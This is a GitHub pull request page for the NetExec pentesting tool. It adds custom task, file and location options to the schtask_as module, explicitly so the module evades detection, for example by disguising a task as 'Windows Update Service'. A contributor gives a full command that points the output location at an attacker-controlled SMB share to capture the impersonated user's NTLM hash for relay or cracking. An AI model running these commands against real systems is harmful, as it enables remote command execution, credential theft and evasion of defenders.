Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

schtask_as Improvement - Options for custom task, file, and location. #342

Merged
merged 10 commits into from
Sep 1, 2024

Conversation

Kahvi-0
Copy link
Contributor

@Kahvi-0 Kahvi-0 commented Jun 11, 2024

Added following options to try and avoid detection when using this module:

TASK Set a name for the scheduled task name
FILE Set a name for the command output file
LOCATION Set a location for the command output file

Example:

nxc smb [ip] -u [user] -p [pwd] -M schtask_as -o USER=Administrator CMD="whoami" TASK="Windows Update Service" FILE="update.log" LOCATION="\\Windows\\Tasks\\"

Screenshot from 2024-06-11 03-44-52

Copy link
Contributor

@NeffIsBack NeffIsBack left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR, nice addition!

nxc/modules/schtask_as.py Outdated Show resolved Hide resolved
nxc/modules/schtask_as.py Outdated Show resolved Hide resolved
nxc/modules/schtask_as.py Outdated Show resolved Hide resolved
nxc/modules/schtask_as.py Outdated Show resolved Hide resolved
@NeffIsBack NeffIsBack added enhancement New feature or request reviewed code Label for when a static code review was done labels Jun 11, 2024
@Kahvi-0 Kahvi-0 requested a review from NeffIsBack June 11, 2024 20:20
@Kahvi-0
Copy link
Contributor Author

Kahvi-0 commented Jun 12, 2024

I wanted to document this here as well. An unintended side effect of being able to customize the location now is that you can set the location to be an SMB share. Unfortunately this does not allow you to save the output file to the share (at least not with my current changes) but it does allow you to capture an NTLM callback of the impersonated user.

For example, a scenario were commands might get flagged for being in a task, you could put some garbage or something benign that wont get caught and set the location to be your host, capture the hash, and relay / crack.

Example command:

nxc smb [ip] -u [user] -p [pwd] -M schtask_as -o USER=Administrator CMD="." TASK="[task name]" FILE="[file]" LOCATION="\\\\[listener IP]\\[share]\\"

Screenshot from 2024-06-12 12-52-12

Kahvi-0 added 9 commits June 18, 2024 11:13
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Signed-off-by: Kahvi-0xFF <46513413+Kahvi-0@users.noreply.github.com>
Copy link
Contributor

@NeffIsBack NeffIsBack left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the PR!

Working flawlessly:
image

Fyi, added os.path.join to be a bit more flexible with the path&filename (i forgot the last backslash for concatenation for example)

@NeffIsBack NeffIsBack merged commit 7657f96 into Pennyw0rth:main Sep 1, 2024
5 checks passed
@mpgn mpgn added this to the v1.3.0 milestone Sep 29, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request reviewed code Label for when a static code review was done
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants